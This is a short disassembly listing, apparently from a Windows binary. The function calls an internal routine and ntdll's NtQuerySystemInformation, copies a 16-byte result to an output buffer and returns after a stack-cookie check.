lea rax, [rsp + 0x38]
lea r9, [rsp + 0x40]
xor r8d, r8d
mov edx, 0x23000003
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x38], 0x10
call fcn.10001baa8
mov ebx, eax
test eax, eax
js 0x10001b75a
movdqu xmm0, xmmword [rsp + 0x40]
movdqu xmmword [rdi], xmm0
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x10001b791
call fcn.10002094c
jmp 0x10001b791
xor r9d, r9d
lea rdx, [rsp + 0x40]
lea r8d, [r9 + 0x14]
lea ecx, [r9 + 0x5a]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov ebx, eax
test eax, eax
js 0x10001b791
movdqu xmm0, xmmword [rsp + 0x40]
movdqu xmmword [rdi], xmm0
mov eax, ebx
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1000296e0
mov rbx, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret